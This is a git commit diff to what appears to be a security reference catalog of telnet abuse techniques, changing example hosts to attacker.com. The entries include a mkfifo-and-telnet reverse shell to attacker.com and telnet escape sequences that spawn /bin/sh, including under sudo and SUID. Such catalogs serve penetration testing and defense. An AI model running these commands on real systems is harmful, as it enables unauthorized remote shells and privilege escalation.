Use target.com and attacker.com

This commit is contained in:
Emilio Pinna
2018-05-24 20:59:21 +01:00
parent 4bea8d51cc
commit b857c98f92
19 changed files with 58 additions and 58 deletions

View File

@@ -1,34 +1,34 @@
---
functions:
exec-interactive:
- description: BSD version only.
- description: BSD version only. Needs to be connected first.
code: |
RHOST=www.google.com
RPORT=80
RHOST=attacker.com
RPORT=12345
telnet $RHOST $RPORT
^]
!/bin/sh
reverse-shell:
- description: Run `nc -l -p 12345` to receive the shell on the other end.
code: |
RHOST=10.0.0.1
RHOST=attacker.com
RPORT=12345
TF=$(mktemp)
rm $TF
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF
sudo-enabled:
- description: BSD version only.
- description: BSD version only. Needs to be connected first.
code: |
RHOST=www.google.com
RPORT=80
RHOST=attacker.com
RPORT=12345
sudo telnet $RHOST $RPORT
^]
!/bin/sh
suid-limited:
- description: BSD version only.
- description: BSD version only. Needs to be connected first.
code: |
RHOST=www.google.com
RPORT=80
RHOST=attacker.com
RPORT=12345
./telnet $RHOST $RPORT
^]
!/bin/sh